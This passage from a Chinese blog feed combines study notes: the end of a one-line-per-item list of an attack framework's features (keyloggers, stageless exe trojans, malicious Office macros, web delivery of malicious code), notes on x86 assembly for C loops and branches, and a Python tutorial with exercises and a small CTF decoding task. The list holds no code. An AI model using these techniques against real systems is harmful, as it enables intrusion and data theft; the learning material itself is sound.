  9. 查看键盘记录:在网络渗透测试和攻击中,攻击者可能会使用键盘记录器来获取目标系统上输入的信息。
  10. 查看屏幕截图:在网络渗透测试和攻击中,攻击者可能会使用屏幕截图来获取目标系统上的敏感信息。
  11. 生成stageless的exe木马文件:在网络渗透测试和攻击中,攻击者可能会使用stageless的exe木马文件来对目标系统进行攻击。
  12. 设定java自签名applet程序攻击:在网络渗透测试和攻击中,攻击者可能会使用Java自签名applet程序攻击目标系统。
  13. 生成恶意Office宏攻击:在网络渗透测试和攻击中,攻击者可能会使用恶意Office宏攻击目标系统。
  14. 建立web delivery:在网络渗透测试和攻击中,攻击者可能会建立web delivery以向目标系统提供恶意代码。
  15. 在web服务器上托管文件:在网络渗透测试和攻击中,攻击者可能会将恶意文件托管在web服务器上。
  16. 管理在web服务器上的应用和文件:在网络渗透测试和攻击中,攻击者可能会管理托管在web服务器上的应用和文件。
  17. 帮助:提供帮助信息。
  18. 关于:显示关于该工具或软件的信息。

{hide}
其他就不做介绍了,关乎攻击类,详细可以看上面的链接,这里是用来引流的
{/hide}

]]>
<![CDATA[反汇编c语言]]> http://blog.luckyos.top/index.php/archives/60/ 2024-05-09T19:59:00+08:00 2024-05-09T19:59:00+08:00 wflaaa https://luckyxianyu.com {mtitle title="jcc指令"/}

jcczhil



xor eax, eax

1 ^ 2 = 3

3 ^ 2 = 1

1 ^ 1 = 0

mov eax, 0

ret 改变 eip 寄存器的值, mov eip, [esp] add esp,4
eip: 当前程序代码运行的位置 永远指向

`写代码时

调用函数 一般有三个规则

参数传递的不同样

push xx 到堆栈中
前几个参数放到寄存器中,这样可以加快调用, fastcall

平栈 方式不通

内平栈  ret xxx
外平栈 ret结束之后, add esp,xxx

_cdecl

call xxx
add esp,xxx

sub 等价 cmp
但 sub 会产生实际的减法效果。
cmp 只会影响 eflags 寄存器

jge
根据 eflags 寄存器来 判断是否需要进行跳转。

jcc 指令

for()

for 循环的 伪代码表现形式

初始化代码:

i = 0;

jmp 比较代码

累加的代码:

i++;

比较代码:

i < 50;
jcc 比较时,会反过来比较。 因为汇编中若满足条件则直接跳出循环。 而在c语言中,若满足条件,则继续执行。故相反。

jcc 结束循环

执行 for 循环体:

jmp 累加的代码

结束循环:

do {
    // 循环体

} while (exp);

循环开始:

循环体代码:

jcc 循环开始

while(exp)
{

}

循环开始:
比较 与for循环一样,判断条件在汇编中与c语言是反过来的。
jcc 循环结束

循环体代码

jmp 循环开始
循环结束

if()
{
if 代码
}
else if(xx)
{
else if 代码
}
else{
else 代码
}

if elseif else 伪代码形式

jcc elseiflab
jcc elseiflab

if代码
jmp 判断结束

elseiflab:

jcc elselab
elseif 代码
jmp 判断结束

elselab:
else代码

switch 优化

多个 case 标签 并且连续 小表,根据表来进行快速跳转。

`

我在网上找了个教学书有兴趣的可以和我一起学习

{cloud title="教学书" type="default" url="http://pan.luckybs.top/down.php/9b0e474e6ab840af7c744d32e273f1a2.pdf" password=""/}

]]>
<![CDATA[python基础语法]]> http://blog.luckyos.top/index.php/archives/43/ 2024-04-11T11:43:00+08:00 2024-04-11T11:43:00+08:00 wflaaa https://luckyxianyu.com python

{mtitle title="python基础语法"/}

变量.方法(值)[值]{值}

列表类型

经常使用,必须掌握

空列表

1= []

常规列表

intlist =[1,2,3,4,5]
strlist = ['hello','world','one','two','three']
alllist = [1,2,'3',4,'5','ffff']

append方法,列表增加元素
copy方法,深拷贝,源列表不受影响
clear方法 清空列表
insert方法 插入元素,(索引,元素),当要插入的位置索引,大于当前列表长度时,直接放到
remove 方法,删除在列表中找到的第一个匹配的元素
index方法,返回所找到的第一个匹配元素的下标
count方法,放回当前元素在列表中的数量
reverse方法,反转列表,也可以使用[::-1]一个效果。
sort()
列表遍历

for i in l:
    print(i)
    #列表生成器
ranglist = [i for i in range(100)]
print(ranglist)
a = [x for x in range(1,100)]
#符合判断条件列表
a = [x for x in range(1,100) if x % 2==0]

元组

类似列表,但是不可以发生改变。

x = (1,2,3,4,5)
index方法,给定元素返回找到的第一个元素的位置。
count 方法,给定元素,返回改元素的元组中的数量

集合

#经常用于数据去重,因为在集合中元素是唯一的,而且因为改数据类型内置,,可以高效率的去重
print(1)
set(1)
#字典
#{1:"1",2:"2"} {键值1:内容,……}
#表示一一对应的关系
#用于需要快速查找的场景,比如:数据库

items

集合内的

字符串类型
创建变量
a= "aaa"
b="bbbb"
c="""cccc"""
方法:

  1. splist方法,分割元素,指定分割符号,默认分割符号是n
  2. replace方法,字符替换,直接替换全部的字符
  3. upper方法,字符串小写字母,转换大写
  4. lower方法,大写字母转小写
    ''.isspace()
In [18]: ''.rjust(10,'a')
Out[18]: 'aaaaaaaaaa'
In [19]: 'aaa'.rjust(10,'a')
Out[19]: 'aaaaaaaaaa'
In [20]: 'bbb'.rjust(10,'a')
Out[20]: 'aaaaaaabbb'

右边填充字符,填充至,指定长度rjust right just
‘bbb’.rjust(10,‘a’)
左边填充字符,填充至,指定长度left just
‘aaa’.ljust(10,‘a’)
encode方法,将字符串转换成bytes类型
startswith判断字符串的前面是否xxx字符
endswith判断字符串的尾部是否是xxx字符
zfill 填充0到字符串的前面,给定长度,最终字符串的长度等于给定长度,如果给定长度小于
替换
字符串加法

a2=‘bbb’
a3=‘ccc’
a2+a3
a2+'bbbbb'
a2+=a3
a2

else语句
whilie else
forelse
在python中,为了方便编码者,python提供了一些语法糖,只属于python的语法
while 条件:
xxx
else:
xxx


i= 1
while i <3:
i+=1
print("这是在循环中")
else:
print("循环结束",i) 


i= 1
while i > 3:
i+=1
print("这是在循环中")
else:
print("循环结束",i) 


i= 1
while i < 3:
i+=1
print("这是在循环中")
if i==2:
    break
else:
print("循环结束",i) 

for i in dl.keys():
    print(i)
    else:
        print("遍历结束")
        
        
        for i in dl.keys():
    print(i)
    if i == 'Betty':
    else:
        print("遍历结束")

三目表达式
x=3 if 100>10 else 4
x
3
如果条件为真,赋值为前面的
如果条件为假,赋值为后面
block1 if 判断 else block2
lambda匿名表达式
lambda[形参1,形参2,……]:表达式

xfunction = lambda x,y :x+y
xfunction(1,2)

3
map函数
处理函数
序列
会利用处理函数,处理传入的序列

In [5]: l = [0x61,0x62,0x63]
#默认返回map类型,映射,地图
In [6]: map(chr,l)
Out[6]: <map at 0x28fbd28b700>
#强转list,变成列表 可显示
In [7]: list(map(chr,l))
Out[7]: ['a', 'b', 'c']
#使用join方法,把字符串相连
In [8]: ''.join(map(chr,l))
Out[8]: 'abc'
用lambda表达式,对数据
In [9]: ''.join(map(lambda x:chr(x+1),l))
Out[9]: 'bcd'
enumerate函数
In [10]: seasons = ['Spring', 'Summer', 'Fall', 'Winter']

In [11]: for i in enumerate(seasons):
    ...:     print(i)
    ...:
(0, 'Spring')
(1, 'Summer')
(2, 'Fall')
(3, 'Winter')

In [12]: for index,content in enumerate(seasons):
    ...:     print(index,content)
    ...:

0 Spring
1 Summer
2 Fall
3 Winter
迭代器
用于生成序列,列表对象
迭代器执行后,返回生成器对象(generator object)
使用接受生成器对象后,使用next函数,可获取下一个对象
当对象完成迭代时,继续使用next函数时,会抛出异常
可以配合异常处理,来判断迭代对象是否结束

In [13]: def yeild_test():
    ...:     yield 1
    ...:     yield 2
    ...:     yield 3
    ...:

In [14]: yeild_test()
Out[14]: <generator object yeild_test at 0x0000028FBD299F20>

In [15]: next(yeild_test())
Out[15]: 1

In [16]: a = yeild_test()

In [17]: next(a)
Out[17]: 1

In [18]: next(a)
Out[18]: 2

In [19]: next(a)
Out[19]: 3

#复杂迭代器
x = 1
y = 1
for i in range(10):
    print(x)

    sum = x+y
    x = y
    y = sum

异常

异常处理,保证程序的健壮性。
★ """

正常情况下,用户输入数字,不会发生报错
若用户输入不能被int函数转换的字符是(非数字),会发生报错
影响程序的正常执行
如果我们编写了异常处理,捕获这个异常,程序仍然正常执行下去。
"""

a=1
try:
    a = int(input("请输入一个数:"))
except:
    print("发生错误")

print(a)
打印异常消息
a=1
try:
    a = int(input("请输入一个数:"))
except Exception as  e:
    print("发生错误",e)

print(a)
异常处理 铺货单个异常
a=1
while True:
 try:
    a = int(input("请输入一个数:"))
    break
 except ValueError:
    print("发生错误",ValueError,"用户输入的数字不对")

print(a)

常见的异常

ValueError
ZeroDivisionError
StopIteration

获取异常类:

程序抛出异常时,第一个词组,一般带有ERROR字样,即为异常类信息,可能是异常名称。
文件操作

读写追加

open
文件路径windows下需要注意反斜杠转义,需要使用原始字符串语法
打开模式 w写,r读,a追加,b二进制模式
文件编码,跟随操作系统,Windows下,默认编码是GB2312,可能需要手动知道utf-8

原始字符串

In [40]: w = r"C:\Users\dell\Desktop\学习\python作业\1.py"

In [41]: ww = "C:\\Users\dell\\Desktop\\学习\\python作业\\1.py"

In [42]: print (w)
C:\Users\dell\Desktop\学习\python作业\1.py

In [43]: print (ww)
C:\Users\dell\Desktop\学习\python作业\1.py

In [44]: w == ww
Out[44]: True

文件读写

属于IO操作,input output,损耗,占用硬盘,cpu,内存之类的。耗时
当文件被占用是,Windows系统下,文件被多个程序占用,可能会出现一种无法写入的情况
bandzip压缩包软件,打开压缩包,这个压缩包会无法写入
若强制写入,会抛出异常

read读取文件内容
读取文件后,会把文件指针访问文件尾部
close关闭当前文件流
rwadilne 读取一行
当我们写文件时,打开文件时,可能会遇到文件没有写入的权限,会发生异常。
permission denied
因为什么问题让我们无法对文件写:
1.文件是个只读的文件,文件的属性被标记为只读,(在Windows的情况下)
2.Linux下,文件权限没有写w 777,也会发生异常
3.文件被其他程序占用,也会发生这个异常

writable方法,是否可写
write()写入内容
writelines写入一行内容
a方法打开
append追加的意思,
w方法,打开文件,文件指针在文件头部
a方法,打开文件,文件指针在文件尾部

写文件,不会覆盖到原来的内容

二进制写
变量 = open(变量,mode="rb" , endcoding="UTf-8")
rb
wb
ab
+
可以读写二进制,不会发生读取的字符因为编码问题,而读取失败,或者错误。
如果是二进制读写的话
1.不需要使用encoding来确定编码
2.返回的内容的bytes类型

训练题

列表训练

[883, 451, 174, 256, 45, 154, 531, 934, 214, 64, 889, 135, 362, 873, 832, 784, 740, 582, 326, 472, 65, 552, 856, 433, 893, 519, 883, 350, 500, 646, 705, 711, 585, 123, 702, 568, 862, 300, 349, 745, 102, 159, 431, 468, 474, 363, 816, 936, 467, 476, 259, 86, 282, 821, 176, 724, 188, 455, 383, 387, 607, 672, 420, 706, 896, 162, 960, 369, 568, 490, 667, 517, 374, 776, 63, 570, 923, 49, 9, 16, 777, 146, 502, 566, 34, 348, 334, 69, 707, 895, 676, 322, 276, 734, 940, 419, 907, 135, 259, 327, 619, 107, 128, 696, 932, 431, 327, 389, 353, 808, 627, 443, 321, 214, 228, 723, 28, 706, 530, 484, 382, 774, 295, 300, 90, 911, 510, 5, 838, 485, 131, 397, 78, 938, 16, 627, 6, 119, 638, 495, 60, 770, 412, 168, 637, 887, 14, 23, 791, 776, 188, 603, 441, 319, 101, 607, 549, 757, 653, 558, 736, 818, 303, 750, 703, 365, 615, 692, 667, 564, 80, 28, 735, 966, 231, 372, 8, 562, 822, 435, 32, 281, 447, 846, 833, 305, 792, 991, 590, 987, 239, 646, 646, 825, 923, 465, 896, 417, 789, 182, 496, 647, 372, 701, 688, 588, 837, 937, 62, 957, 435, 446, 342, 963, 848, 985, 763, 21, 113, 717, 11, 190, 386, 819, 541, 306, 939, 100, 596, 206, 945, 756, 840, 59, 268, 116, 256, 747, 327, 148, 315, 626, 322, 80, 976, 461, 121, 730, 839, 91, 138, 589, 441, 278, 336, 117, 910, 559, 670, 970, 390, 376, 623, 935, 159, 53, 882, 731, 185, 564, 127, 718, 875, 416, 672, 775, 408, 196, 753, 547, 631, 421, 790, 894, 982, 206, 201, 837, 576, 701, 68, 211, 964, 872, 287, 670, 573, 980, 921, 507, 936, 101, 849, 537, 869, 715, 136, 736, 124, 577, 252, 24, 471, 323, 614, 950, 154, 79, 462, 662, 34, 491, 250, 192, 160, 658, 80, 950, 933, 221, 746, 417, 986, 421, 90, 949, 351, 963, 296, 123, 749, 185, 838, 161, 743, 668, 493, 973, 210, 748, 87, 280, 396, 926, 505, 19, 516, 136, 886, 460, 288, 489, 839, 36, 679, 718, 224, 484, 541, 357, 403, 706, 520, 659, 671, 489, 505, 252, 198, 591, 36, 274, 665, 675, 33, 83, 356, 729, 516, 171, 54, 553, 465, 784, 361, 800, 930, 82, 7, 124, 231, 256, 631, 487, 216, 975, 564, 688, 60, 363, 297, 632, 441, 803, 333, 190, 942, 14, 234, 257, 232, 852, 705, 856, 638, 381, 323, 973, 1, 10, 857, 614, 401, 492, 738, 641, 582, 839, 473, 326, 107, 453, 460, 710, 28, 272, 128, 364, 755, 508, 257, 465, 812, 601, 360, 768, 114, 888, 77, 319, 500, 48, 598, 397, 185, 691, 713, 311, 494, 417, 88, 759, 518, 544, 489, 186, 653, 880, 91, 597, 362, 188, 617, 672, 56, 43, 642, 591, 314, 499, 308, 870, 417, 205, 582, 656, 312, 342, 854, 254, 447, 855, 530, 634, 709, 609, 579, 906, 346, 882, 797, 18, 852, 738, 507, 205, 700, 383, 767, 430, 780, 274, 897, 152, 562, 926, 207, 920, 659, 131, 703, 505, 987, 933, 836, 961, 636, 325, 234, 147, 745, 933, 36, 850, 1, 304, 23, 676, 78, 664, 823, 98, 882, 217, 51, 900, 519, 198, 935, 990, 715, 272, 646, 238, 669, 827, 763, 524, 360, 780, 74, 735, 868, 833, 272, 154, 519, 123, 884, 915, 174, 446, 906, 654, 61, 592, 666, 666, 992, 818, 737, 800, 610, 361, 441, 336, 259, 298, 726, 255, 806, 182, 883, 839, 59, 566, 213, 837, 446, 357, 262, 217, 222, 446, 373, 828, 750, 108, 450, 404, 209, 700, 988, 850, 919, 56, 531, 950, 203, 664, 122, 728, 880, 24, 868, 460, 132, 532, 307, 397, 983, 9, 86, 389, 639, 934, 293, 900, 85, 405, 636, 936, 912, 731, 700, 946, 904, 469, 783, 960, 34, 489, 102, 969, 709, 304, 352, 297, 809, 722, 766, 303, 640, 993, 958, 108, 340, 743, 881, 341, 792, 525, 603, 549, 326, 520, 818, 957, 49, 519, 300, 619, 49, 425, 621, 34, 938, 772, 554, 227, 793, 554, 893, 236, 283, 867, 549, 65, 874, 995, 633, 881, 160, 903, 791, 237, 872, 974, 950, 479, 910, 27, 230, 100, 681, 670, 184, 34, 23, 597, 443, 275, 230, 899, 526, 705, 899, 354, 134, 165, 261, 100, 811, 796, 747, 582, 677, 237, 519, 107, 77, 158, 918, 386, 207, 40, 132, 373, 442, 30, 410, 719, 456, 929, 308, 504, 435, 102, 144, 728, 500, 325, 258, 179, 958, 133, 30, 226, 476, 735, 331, 231, 119, 806, 539, 662, 823, 609, 267, 768, 165, 798, 625, 101, 932, 746, 159, 173, 432, 904, 891, 190, 717, 52, 881, 20, 109, 613, 192, 423, 65, 670, 165, 364, 876, 943, 895, 603, 586, 510, 444, 212, 990, 162, 830, 892, 473, 246, 666, 907, 647, 730, 141, 245, 757, 219, 866, 702, 695, 938, 370, 905, 928, 102, 907, 926, 912, 11, 649, 195, 23, 164, 579, 134, 438, 876, 715, 443, 420, 726, 374, 562, 783, 574, 301, 609, 679, 301, 423, 206, 464, 918, 842, 906, 265, 585, 568, 977, 985, 884, 901, 141, 53, 391, 537, 84, 787, 898, 494, 958, 42, 167, 732, 214, 663, 749, 301, 288, 780, 311, 581, 740, 217, 16, 846, 735, 42, 665, 705, 413, 681, 783, 61, 501, 452, 915, 846, 793, 204, 136, 728, 103, 115, 327, 725, 894, 327, 528, 282, 373, 31, 602, 672, 736, 786, 398, 120, 950, 504, 515, 597, 784, 675, 589, 991, 10, 618, 972, 61, 446, 21, 599, 19, 874, 337, 191, 88, 36, 424, 148, 609, 465, 570, 164, 935, 867, 976, 728, 1, 440, 342, 900, 908, 137, 712, 971, 36, 849, 488, 112, 484, 794, 717, 693, 237, 684, 270, 276, 801, 25, 627, 543, 341, 162, 740, 983, 765, 986, 148, 541]

  1. 给定列表, 使用课堂中学习过的知识,对列表进行去重
  2. 利用字典类型,统计上面列表中所有的字符串,及其数量。 形式: {102:10,103:8,104:12} {数字: 出现次数}
  3. 自己实现一个排序方法,对上表进行排序,不要求去重。

字典训练

给定如下字典:
{'湖南': '长沙', '湖北': '武汉', '广东': '广州', '广西': '南宁', '河北': '石家庄', '河南': '郑州', '山东': '济南', '山西': '太原', '江苏': '南京', '浙江': '杭州', '江西': '南昌', '黑龙江': '哈尔滨', '新疆': '乌鲁木齐', '云南': '昆明', '贵州': '贵阳', '福建': '福州', '吉林': '长春', '安徽': '合肥', '四川': '成都', '西藏': '拉萨', '宁夏': '银川', '辽宁': '沈阳', '青海': '西宁', '海南': '海口', '甘肃': '兰州', '陕西': '西安', '内蒙古': '呼和浩特', '台湾': '台北', '北京': '北京', '上海': '上海', '天津': '天津', '重庆': '重庆', '香港': '香港', '澳门': '澳门'}

  1. 根据上述字典表,打印出所有的省会
  2. 根据上述字典表,打印出所有的省
  3. 根据上述字典表,编写程序,实现,输入省,打印出省会

集合训练

例如:
请输入要查询省会的省名称: 安徽
您输入的省为: 安徽
安徽省的省会为: 合肥
集合练习
经理有: 曹操, 刘备 , 周瑜
技术员: 曹操, 周瑜 , 张飞 , 赵云
用集合求:

  1. 即是经理也是技术员的有谁?
  2. 是经理,但不是技术员的有谁?
  3. 是技术人员,但不是经理的都有谁?
  4. 张飞都是经理吗?
  5. 身兼一职的人都有谁?
  6. 经理和技术员共有几个人?

日常训练题目

求水仙花数

水仙花数是指一个 3 位数,它的每个位上的数字的 3 次幂之和等于它本身。例如:13 + 53+ 3**3 = 153。
现要求你使用python编程求出 所有水仙花数

判断闰年

编程实现,输入年份,输入该年是否是闰年,因该程序不信任用户输入,故要求使用异常处理,保持程序的健壮性。
闰年判断条件:
能被4整除,但不能被100 整除。
能被400整除
以上条件满足一个即为闰年

冒泡排序

给定的 列表训练的 列表数据,要求编程 实现 冒泡排序,对列表数据进行排序。
关于冒泡排序的定义:
冒泡排序

判断素数

接收用户输入的数,判断该数是否为 素数。
素数定义: 除了1 和 自身,其他数都不能整除该数,例如 2, 3, 5, 7, 11

ctf题目

flag = 'flag{xxxxxxxxx}'
tmpStr = ''
for i in range(len(flag)):
    cur_i = (ord(flag[i]) + i) ^ 0x55
    cur_i = cur_i & 0xff
    tmpStr += hex(cur_i)[2:]

print(tmpStr)
# 3338363f2a2c3b252e3d262b3e3b382029272cc5

给定如上脚本,请你拿到原flag。

答案

{hide}

{cloud title="python答案" type="default" url="http://pan.luckybs.top/down.php/d5aa57db45676d226e59eebc2bf12c4a.zip" password=""/}

{/hide}

]]>
This page loaded in 0.001774 seconds